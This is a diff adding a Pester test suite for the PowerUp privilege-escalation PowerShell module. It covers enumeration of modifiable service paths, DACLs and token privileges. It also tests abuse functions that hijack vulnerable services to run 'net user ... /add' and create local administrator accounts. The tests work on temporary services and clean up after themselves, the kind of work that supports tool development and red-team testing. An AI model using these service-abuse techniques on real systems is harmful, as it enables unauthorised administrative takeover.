b/Tests/Privesc.tests.ps1 @@ -0,0 +1,1450 @@ +Set-StrictMode -Version Latest + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." + +$ModuleManifest = "$ModuleRoot\Privesc\Privesc.psd1" +Remove-Module [P]rivesc +Import-Module $ModuleManifest -Force -ErrorAction Stop + +# import PowerUp.ps1 manually so we expose the helper functions for testing +$PowerUpFile = "$ModuleRoot\Privesc\PowerUp.ps1" +Import-Module $PowerUpFile -Force -ErrorAction Stop + + + +function Get-RandomName { + $r = 1..8 | ForEach-Object{Get-Random -max 26} + return ('abcdefghijklmnopqrstuvwxyz'[$r] -join '') +} + +function Test-IsAdmin { + return ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") +} + + +######################################################## +# +# PowerUp helper functions. +# +######################################################## + +Describe 'Get-ModifiablePath' { + + It 'Should output a file Path, Permissions, and IdentityReference in results.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + try { + $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 + + if ($Output.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Get-ModifiablePath result doesn't contain 'ModifiablePath' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Get-ModifiablePath result doesn't contain 'Permissions' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Get-ModifiablePath result doesn't contain 'IdentityReference' field." + } + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } + + It 'Should output the correct file path in results.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + try { + $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 + $Output.ModifiablePath | Should Be $FilePath + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } + + It 'Should return the proper permission set.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + try { + $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 + + if ($Output.Permissions -notcontains 'WriteData/AddFile') { + Throw "Get-ModifiablePath result doesn't contain the proper permission set." + } + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } + + It 'Should extract a modifiable file specified as an argument in a command string.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + $CmdPath = "'C:\Windows\System32\nonexistent.exe' -i '$FilePath'" + + try { + $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 + $Output.ModifiablePath | Should Be $FilePath + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } + + It 'Should accept a path string over the pipeline.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + try { + $Output = $FilePath | Get-ModifiablePath + $Output | Should Not BeNullOrEmpty + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } + + It 'Should accept a file object over the pipeline.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + try { + $Output = Get-ChildItem -Path $FilePath | Get-ModifiablePath + $Output | Should Not BeNullOrEmpty + } + finally { + $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue + } + } +} + + +Describe 'Get-ProcessTokenGroup' { + + if (-not $(Test-IsAdmin)) { + Throw "'Get-ProcessTokenGroup' Pester test needs local administrator privileges." + } + + It 'Should not throw.' { + {Get-ProcessTokenGroup} | Should Not Throw + } + + It 'Should return SID, Attribute, and ProcessID.' { + $Output = Get-ProcessTokenGroup | Select-Object -First 1 + + if ($Output.PSObject.Properties.Name -notcontains 'SID') { + Throw "Get-ProcessTokenGroup result doesn't contain 'SID' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'Attributes') { + Throw "Get-ProcessTokenGroup result doesn't contain 'Attributes' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'ProcessID') { + Throw "Get-ProcessTokenGroup result doesn't contain 'ProcessID' field." + } + } + + It 'Should accept a process object on the pipeline.' { + $Output = Get-Process -Id $PID | Get-ProcessTokenGroup | Select-Object -First 1 + $Output | Should Not BeNullOrEmpty + } + + It 'Should accept multiple process objects on the pipeline.' { + $Output = @($(Get-Process -Id $PID), $(Get-Process -Id $PID)) | Get-ProcessTokenGroup | Where-Object {$_.SID -match 'S-1-5-32-544'} + if ($Output.Length -lt 2) { + Throw "'Get-ProcessTokenGroup' doesn't return Dacls for multiple service objects on the pipeline." + } + } + + It 'Should return the local administrators group SID.' { + $CurrentUserSids = Get-ProcessTokenGroup | Select-Object -ExpandProperty SID + + if ($CurrentUserSids -notcontains 'S-1-5-32-544') { + Throw "Get-ProcessTokenGroup result doesn't contain local administrators 'S-1-5-32-544' sid" + } + } +} + + +Describe 'Get-ProcessTokenPrivilege' { + + if (-not $(Test-IsAdmin)) { + Throw "'Get-ProcessTokenPrivilege' Pester test needs local administrator privileges." + } + + It 'Should not throw.' { + {Get-ProcessTokenPrivilege} | Should Not Throw + } + + It 'Should return Privilege, Attribute, and ProcessID.' { + $Output = Get-ProcessTokenPrivilege | Select-Object -First 1 + + if ($Output.PSObject.Properties.Name -notcontains 'Privilege') { + Throw "Get-ProcessTokenPrivilege result doesn't contain 'Privilege' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'Attributes') { + Throw "Get-ProcessTokenPrivilege result doesn't contain 'Attributes' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'ProcessID') { + Throw "Get-ProcessTokenPrivilege result doesn't contain 'ProcessID' field." + } + } + + It 'Should accept the -Special argument' { + $Output = Get-Process -Id $PID | Get-ProcessTokenPrivilege -Special | Select-Object -First 1 + $Output | Should Not BeNullOrEmpty + } + + It 'Should accept a process object on the pipeline.' { + $Output = Get-Process -Id $PID | Get-ProcessTokenPrivilege | Select-Object -First 1 + $Output | Should Not BeNullOrEmpty + } + + It 'Should accept multiple process objects on the pipeline.' { + $Output = @($(Get-Process -Id $PID), $(Get-Process -Id $PID)) | Get-ProcessTokenPrivilege | Where-Object {$_.Privilege -match 'SeShutdownPrivilege'} + if ($Output.Length -lt 2) { + Throw "'Get-ProcessTokenPrivilege' doesn't return Dacls for multiple service objects on the pipeline." + } + } + + It 'Should return the correct privileges.' { + $Privileges = Get-ProcessTokenPrivilege | Select-Object -ExpandProperty Privilege + + if ($Privileges -NotContains 'SeShutdownPrivilege') { + Throw "Get-ProcessTokenPrivilege result doesn't the SeShutdownPrivilege" + } + } +} + + +Describe 'Enable-Privilege' { + if (-not $(Test-IsAdmin)) { + Throw "'Enable-Privilege' Pester test needs local administrator privileges." + } + + It 'Should not accept an invalid privilege.' { + {Enable-Privilege -Privilege 'nonexistent'} | Should Throw + } + + It 'Should successfully enable a specified privilege.' { + $Output = Get-ProcessTokenPrivilege | Where-Object {$_.Privilege -match 'SeShutdownPrivilege'} + if ($Output.Attributes -ne 0) { + Throw "'SeShutdownPrivilege is already enabled." + } + {Enable-Privilege -Privilege 'SeShutdownPrivilege'} | Should Not Throw + $Output = Get-ProcessTokenPrivilege | Where-Object {$_.Privilege -match 'SeShutdownPrivilege'} + if ($Output.Attributes -eq 0) { + Throw "'SeShutdownPrivilege not successfully enabled." + } + } + + It 'Should accept the output from Get-ProcessTokenPrivilege.' { + {Get-ProcessTokenPrivilege | Enable-Privilege} | Should Not Throw + $Output = Get-ProcessTokenPrivilege | Where-Object {$_.Privilege -match 'SeBackupPrivilege'} + if ($Output.Attributes -eq 0) { + Throw "'SeBackupPrivilege not successfully enabled." + } + } +} + + +Describe 'Add-ServiceDacl' { + + if (-not $(Test-IsAdmin)) { + Throw "'Add-ServiceDacl' Pester test needs local administrator privileges." + } + + It 'Should not throw.' { + {Get-Service | Add-ServiceDacl} | Should Not Throw + } + + It 'Should fail for a non-existent service.' { + $ServiceName = Get-RandomName + {$Result = Add-ServiceDacl -Name $ServiceName} | Should Throw + } + + It 'Should accept a service name as a parameter argument.' { + $ServiceName = Get-Service | Select-Object -First 1 | Select-Object -ExpandProperty Name + $ServiceWithDacl = Add-ServiceDacl -Name $ServiceName + + if (-not $ServiceWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return a Dacl for a service passed as parameter." + } + } + + It 'Should accept an array of service names as a parameter argument.' { + $ServiceNames = Get-Service | Select-Object -First 5 | Select-Object -ExpandProperty Name + $ServicesWithDacl = Add-ServiceDacl -Name $ServiceNames + + if (-not $ServicesWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return Dacls for an array of service names as a parameter." + } + } + + It 'Should accept a service object on the pipeline.' { + $Service = Get-Service | Select-Object -First 1 + $ServiceWithDacl = $Service | Add-ServiceDacl + + if (-not $ServiceWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return a Dacl for a service object on the pipeline." + } + } + + It 'Should accept a service name on the pipeline.' { + $ServiceName = Get-Service | Select-Object -First 1 | Select-Object -ExpandProperty Name + $ServiceWithDacl = $ServiceName | Add-ServiceDacl + + if (-not $ServiceWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return a Dacl for a service name on the pipeline." + } + } + + It 'Should accept multiple service objects on the pipeline.' { + $Services = Get-Service | Select-Object -First 5 + $ServicesWithDacl = $Services | Add-ServiceDacl + + if (-not $ServicesWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return Dacls for multiple service objects on the pipeline." + } + } + + It 'Should accept multiple service names on the pipeline.' { + $ServiceNames = Get-Service | Select-Object -First 5 | Select-Object -ExpandProperty Name + $ServicesWithDacl = $ServiceNames | Add-ServiceDacl + + if (-not $ServicesWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return Dacls for multiple service names on the pipeline." + } + } + + It 'Should return a correct service Dacl.' { + $Service = Get-Service | Select-Object -First 1 + $ServiceWithDacl = $Service | Add-ServiceDacl + + # 'AllAccess' = [uint32]'0x000F01FF' + $Rights = $ServiceWithDacl.Dacl | Where-Object {$_.SecurityIdentifier -eq 'S-1-5-32-544'} + if (($Rights.AccessRights -band 0x000F01FF) -ne 0x000F01FF) { + Throw "'Add-ServiceDacl' doesn't return the correct service Dacl." + } + } +} + +Describe 'Set-ServiceBinaryPath' { + + if (-not $(Test-IsAdmin)) { + Throw "'Set-ServiceBinaryPath' Pester test needs local administrator privileges." + } + + It 'Should fail for a non-existent service.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + + $Result = $False + {$Result = Set-ServiceBinaryPath -Name $ServiceName -Path $ServicePath} | Should Throw + $Result | Should Be $False + } + + It 'Should throw with an empty Path.' { + $ServiceName = Get-RandomName + {Set-ServiceBinaryPath -Name $ServiceName -Path ''} | Should Throw + } + + It 'Should correctly set a service binary path.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + $Result = Set-ServiceBinaryPath -Name $ServiceName -Path $ServicePath + $Result | Should Be $True + $ServiceDetails = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" + $ServiceDetails.PathName | Should be $ServicePath + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It 'Should accept a service name as a string on the pipeline.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + $Result = $ServiceName | Set-ServiceBinaryPath -Path $ServicePath + $Result | Should Be $True + + $ServiceDetails = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" + $ServiceDetails.PathName | Should be $ServicePath + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It 'Should accept a service object on the pipeline.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + $Result = Get-Service $ServiceName | Set-ServiceBinaryPath -Path $ServicePath + $Result | Should Be $True + + $ServiceDetails = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" + $ServiceDetails.PathName | Should be $ServicePath + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } +} + + +Describe 'Test-ServiceDaclPermission' { + + if (-not $(Test-IsAdmin)) { + Throw "'Test-ServiceDaclPermission' Pester test needs local administrator privileges." + } + + It 'Should fail for a non-existent service.' { + $ServiceName = Get-RandomName + {$Result = Test-ServiceDaclPermission -Name $ServiceName} | Should Throw + } + + It 'Should throw with an empty name.' { + {Test-ServiceDaclPermission -Name ''} | Should Throw + } + + It 'Should throw with an invalid permission parameter.' { + $ServiceName = Get-RandomName + {Test-ServiceDaclPermission -Name $ServiceName -Permissions 'nonexistent'} | Should Throw + } + + It 'Should throw with an invalid permission set parameter.' { + $ServiceName = Get-RandomName + {Test-ServiceDaclPermission -Name $ServiceName -PermissionSet 'nonexistent'} | Should Throw + } + + It 'Should succeed with an existing service.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + $Result = Test-ServiceDaclPermission -Name $ServiceName + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It 'Should succeed with an existing service.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + $Result = Test-ServiceDaclPermission -Name $ServiceName + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It 'Should succeed with a permission parameter.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + $Result = Test-ServiceDaclPermission -Name $ServiceName -Permissions 'AllAccess' + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It 'Should succeed with a permission set parameter.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + $Result = Test-ServiceDaclPermission -Name $ServiceName -PermissionSet 'ChangeConfig' + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It 'Should accept a service name as a string on the pipeline.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + $Result = $ServiceName | Test-ServiceDaclPermission + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It 'Should accept a service object on the pipeline.' { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + $Result = Get-Service $ServiceName | Test-ServiceDaclPermission + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It "Should fail for an existing service due to insufficient DACL permissions." { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match 'SUCCESS' + + {Test-ServiceDaclPermission -Name $ServiceName} | Should Throw + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + + It "Should succeed with for an existing service due to sufficient specific DACL permissions." { + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match 'SUCCESS' + + $Result = Test-ServiceDaclPermission -Name $ServiceName + $Result | Should Not BeNullOrEmpty + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } +} + +######################################################## +# +# PowerUp service enumeration functions. +# +######################################################## + +Describe 'Get-UnquotedService' { + + if (-not $(Test-IsAdmin)) { + Throw "'Get-UnquotedService' Pester test needs local administrator privileges." + } + + It "Should not throw." { + {Get-UnquotedService} | Should Not Throw + } + + It 'Should return service with a space in an unquoted binPath.' { + + $ServiceName = Get-RandomName + $ServicePath = 'C:\Program Files\service.exe' + + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + $Output = Get-UnquotedService | Where-Object { $_.ServiceName -eq $ServiceName } + sc.exe delete $ServiceName | Should Match 'SUCCESS' + + $Output | Should Not BeNullOrEmpty + $Output.ServiceName | Should Be $ServiceName + $Output.Path | Should Be $ServicePath + } + + It 'Should not return services with a quoted binPath.' { + $ServiceName = Get-RandomName + $ServicePath = "'C:\Program Files\service.exe'" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + Start-Sleep -Seconds 1 + + $Output = Get-UnquotedService | Where-Object { $_.ServiceName -eq $ServiceName } + sc.exe delete $ServiceName | Should Match 'SUCCESS' + + $Output | Should BeNullOrEmpty + } +} + + +Describe 'Get-ModifiableServiceFile' { + + if (-not $(Test-IsAdmin)) { + Throw "'Get-ModifiableServiceFile ' Pester test needs local administrator privileges." + } + + It 'Should not throw.' { + {Get-ModifiableServiceFile} | Should Not Throw + } + + It 'Should return a service with a modifiable service binary.' { + try { + $ServiceName = Get-RandomName + $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" + $Null | Out-File -FilePath $ServicePath -Force + + sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' + + $Output = Get-ModifiableServiceFile | Where-Object { $_.ServiceName -eq $ServiceName } | Select-Object -First 1 + + $Properties = $Output.PSObject.Properties | Select-Object -ExpandProperty Name + if ($Properties -notcontains 'ServiceName') { + Throw "Get-ModifiableServiceFile result doesn't contain 'ServiceName' field." + } + if ($Properties -notcontains 'Path') { + Throw "Get-ModifiableServiceFile result doesn't contain 'Path' field." + } + if ($Properties -notcontains 'ModifiableFile') { + Throw "Get-ModifiableServiceFile result doesn't contain 'ModifiableFile' field." + } + if ($Properties -notcontains 'ModifiableFilePermissions') { + Throw "Get-ModifiableServiceFile result doesn't contain 'ModifiableFilePermissions' field." + } + if ($Properties -notcontains 'ModifiableFileIdentityReference') { + Throw "Get-ModifiableServiceFile result doesn't contain 'ModifiableFileIdentityReference' field." + } + if ($Properties -notcontains 'StartName') { + Throw "Get-ModifiableServiceFile result doesn't contain 'StartName' field." + } + if ($Properties -notcontains 'AbuseFunction') { + Throw "Get-ModifiableServiceFile result doesn't contain 'AbuseFunction' field." + } + if ($Properties -notcontains 'CanRestart') { + Throw "Get-ModifiableServiceFile result doesn't contain 'CanRestart' field." + } + + if ($Output.Path -ne $ServicePath) { + Throw "Get-ModifiableServiceFile result doesn't return correct Path for a modifiable service file." + } + + if ($Output.ModifiableFile -ne $ServicePath) { + Throw "Get-ModifiableServiceFile result doesn't return correct ModifiableFile for a modifiable service file." + } + + $Output.CanRestart | Should Be $True + + sc.exe delete $ServiceName | Should Match 'SUCCESS' + } + finally { + $Null = Remove-Item -Path $ServicePath -Force + } + } +} + + +Describe 'Get-ModifiableService' { + + if (-not $(Test-IsAdmin)) { + Throw "'Get-ModifiableService' Pester test needs local administrator privileges." + } + + It 'Should not throw.' { + {Get-ModifiableService} | Should Not Throw + } + + It 'Should return a modifiable service.' { + $Output = Get-ModifiableService | Where-Object { $_.ServiceName -eq 'Dhcp'} | Select-Object -First 1 + $Output | Should Not BeNullOrEmpty + + $Properties = $Output.PSObject.Properties | Select-Object -ExpandProperty Name + if ($Properties -notcontains 'ServiceName') { + Throw "Get-ModifiableService result doesn't contain 'ServiceName' field." + } + if ($Properties -notcontains 'Path') { + Throw "Get-ModifiableService result doesn't contain 'Path' field." + } + if ($Properties -notcontains 'StartName') { + Throw "Get-ModifiableService result doesn't contain 'StartName' field." + } + if ($Properties -notcontains 'AbuseFunction') { + Throw "Get-ModifiableService result doesn't contain 'AbuseFunction' field." + } + if ($Properties -notcontains 'CanRestart') { + Throw "Get-ModifiableService result doesn't contain 'CanRestart' field." + } + } +} + + +Describe 'Get-ServiceDetail' { + + It 'Should return results for a valid service.' { + $Output = Get-ServiceDetail -Name 'Dhcp' + $Output | Should Not BeNullOrEmpty + } + + It 'Should throw with an empty Name.' { + $ServiceName = Get-RandomName + {Get-ServiceDetail -Name ''} | Should Throw + } + + It 'Should throw for an invalid service.' { + {Get-ServiceDetail -Name 'NonExistent123'} | Should Throw + } + + It 'Should accept a service name on the pipeline.' { + $Output = 'Dhcp' | Get-ServiceDetail + $Output | Should Not BeNullOrEmpty + } + + It 'Should accept a service object on the pipeline.' { + $Output = Get-Service 'Dhcp' | Get-ServiceDetail + $Output | Should Not BeNullOrEmpty + } +} + + + +######################################################## +# +# PowerUp service abuse functions. +# +######################################################## + +Describe 'Invoke-ServiceAbuse' { + + if (-not $(Test-IsAdmin)) { + Throw "'Invoke-ServiceAbuse' Pester test needs local administrator privileges." + } + + BeforeEach { + $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" + $Null = sc.exe create 'PowerUpService' binPath= $ServicePath + } + + AfterEach { + $Null = sc.exe delete 'PowerUpService' + $Null = $(net user john /delete >$Null 2>&1) + } + + It 'Should abuse a vulnerable service to add a local administrator with default options.' { + $Output = Invoke-ServiceAbuse -Name 'PowerUpService' + $Output.Command | Should Match 'net' + + if ( -not ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' not created." + } + } + + It 'Should accept the -Force switch.' { + $Output = Invoke-ServiceAbuse -Name 'PowerUpService' -Force + $Output.Command | Should Match 'net' + + if ( -not ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' not created." + } + } + + It 'Should accept a service name on the pipeline.' { + $Output = 'PowerUpService' | Invoke-ServiceAbuse + $Output.Command | Should Match 'net' + + if ( -not ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' not created." + } + } + + It 'Should accept a service object on the pipeline.' { + $Output = Get-Service 'PowerUpService' | Invoke-ServiceAbuse + $Output.Command | Should Match 'net' + + if ( -not ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' not created." + } + } + + It 'User should not be created for a non-existent service.' { + {Invoke-ServiceAbuse -ServiceName 'NonExistentService456'} | Should Throw + + if ( ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' should not have been created for non-existent service." + } + } + + It 'Should accept custom user/password arguments.' { + $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Username 'PowerUp' -Password 'PASSword123!' + $Output.Command | Should Match 'net' + + if ( -not ($(net localgroup Administrators) -match 'PowerUp')) { + Throw "Local user 'PowerUp' not created." + } + $Null = $(net user PowerUp /delete >$Null 2>&1) + } + + It 'Should accept a credential object.' { + $Username = 'PowerUp123' + $Password = ConvertTo-SecureString 'PASSword123!' -AsPlaintext -Force + $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $Password + + $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Credential $Credential + $Output.Command | Should Match 'net' + + if ( -not ($(net localgroup Administrators) -match 'PowerUp')) { + Throw "Local user 'PowerUp' not created." + } + $Null = $(net user PowerUp123 /delete >$Null 2>&1) + } + + It 'Should accept an alternate LocalGroup.' { + $Output = Invoke-ServiceAbuse -Name 'PowerUpService' -LocalGroup 'Guests' + $Output.Command | Should Match 'net' + + if ( -not ($(net localgroup Guests) -match 'john')) { + Throw "Local user 'john' not added to 'Guests'." + } + } + + It 'Should accept a custom command.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Command 'net user testing Password123! /add' + + if ( -not ($(net user) -match "testing")) { + Throw 'Custom command failed.' + } + $Null = $(net user testing /delete >$Null 2>&1) + } +} + + +Describe 'Install-ServiceBinary' { + + if (-not $(Test-IsAdmin)) { + Throw "'Install-ServiceBinary' Pester test needs local administrator privileges." + } + + BeforeEach { + $ServicePath = "$(Get-Location)\powerup.exe" + $Null | Out-File -FilePath $ServicePath -Force + $Null = sc.exe create 'PowerUpService' binPath= $ServicePath + } + + AfterEach { + try { + $Null = Stop-Service -Name PowerUpService -Force + $Null = sc.exe delete 'PowerUpService' + $Null = $(net user john /delete >$Null 2>&1) + } + finally { + if (Test-Path "$(Get-Location)\powerup.exe") { + $Null = Remove-Item -Path "$(Get-Location)\powerup.exe" -Force -ErrorAction SilentlyContinue + } + if (Test-Path "$(Get-Location)\powerup.exe.bak") { + $Null = Remove-Item -Path "$(Get-Location)\powerup.exe.bak" -Force -ErrorAction SilentlyContinue + } + } + } + + It 'Should abuse a vulnerable service binary to add a local administrator with default options.' { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' + $Output.Command | Should Match 'net' + + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if ( -not ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' not created." + } + $Null = Stop-Service -Name PowerUpService -Force + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + + It 'Should accept a service Name on the pipeline.' { + $Output = 'PowerUpService' | Install-ServiceBinary + $Output.Command | Should Match 'net' + + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if ( -not ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' not created." + } + $Null = Stop-Service -Name PowerUpService -Force + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + + It 'Should accept a service object on the pipeline.' { + $Output = Get-Service 'PowerUpService' | Install-ServiceBinary + $Output.Command | Should Match 'net' + + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if ( -not ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' not created." + } + $Null = Stop-Service -Name PowerUpService -Force + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + + It 'User should not be created for a non-existent service.' { + {Install-ServiceBinary -ServiceName "NonExistentService456"} | Should Throw + + if ( ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' should not have been created for non-existent service." + } + } + + It 'Should accept custom user/password arguments.' { + try { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username 'PowerUp' -Password 'PASSword123!' + $Output.Command | Should Match 'net' + + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if ( -not ($(net localgroup Administrators) -match 'PowerUp')) { + Throw "Local user 'PowerUp' not created." + } + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + finally { + $Null = $(net user PowerUp /delete >$Null 2>&1) + } + } + + It 'Should accept a credential object.' { + $Username = 'PowerUp123' + $Password = ConvertTo-SecureString 'PASSword123!' -AsPlaintext -Force + $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $Password + + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Credential $Credential + $Output.Command | Should Match 'net' + + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if ( -not ($(net localgroup Administrators) -match 'PowerUp123')) { + Throw "Local user 'PowerUp123' not created." + } + $Null = $(net user PowerUp123 /delete >$Null 2>&1) + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + + It 'Should accept an alternate LocalGroup.' { + try { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username 'PowerUp' -Password 'PASSword123!' -LocalGroup 'Guests' + $Output.Command | Should Match 'net' + + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if ( -not ($(net localgroup Guests) -match 'PowerUp')) { + Throw "Local user 'PowerUp' not created." + } + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + finally { + $Null = $(net user PowerUp /delete >$Null 2>&1) + } + } + + It 'Should accept a custom command.' { + try { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Command "net user testing Password123! /add" + $Output.Command | Should Match 'net' + + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if ( -not ($(net user) -match "testing")) { + Throw "Custom command failed." + } + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + finally { + $Null = $(net user testing 